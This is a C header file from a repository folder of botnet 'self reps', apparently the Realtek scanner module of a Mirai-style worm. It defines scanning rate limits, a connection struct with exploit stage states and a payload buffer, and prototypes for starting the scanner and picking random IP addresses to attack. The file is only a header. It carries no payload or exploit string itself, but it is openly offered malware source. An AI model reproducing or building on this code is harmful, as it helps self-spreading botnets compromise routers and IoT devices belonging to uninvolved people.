Path: blob/master/Botnets/Self Reps/Realtek/realtek.h
5038 views
#pragma once12#include <stdint.h>34#include "includes.h"56#ifdef X867#define realtekscanner_SCANNER_MAX_CONNS 99998#define realtekscanner_SCANNER_RAW_PPS 99999#else10#define realtekscanner_SCANNER_MAX_CONNS 51211#define realtekscanner_SCANNER_RAW_PPS 72012#endif1314#define realtekscanner_SCANNER_RDBUF_SIZE 102415#define realtekscanner_SCANNER_HACK_DRAIN 641617struct realtekscanner_scanner_connection18{19int fd, last_recv;20enum21{22realtekscanner_SC_CLOSED,23realtekscanner_SC_CONNECTING,24realtekscanner_SC_EXPLOIT_STAGE2,25realtekscanner_SC_EXPLOIT_STAGE3,26} state;27ipv4_t dst_addr;28uint16_t dst_port;29int rdbuf_pos;30char rdbuf[realtekscanner_SCANNER_RDBUF_SIZE];31char payload_buf[1024];32};3334void realtekscanner_scanner_init();35void realtekscanner_scanner_kill(void);3637static void realtekscanner_setup_connection(struct realtekscanner_scanner_connection *);38static ipv4_t realtekscanner_get_random_ip(void);394041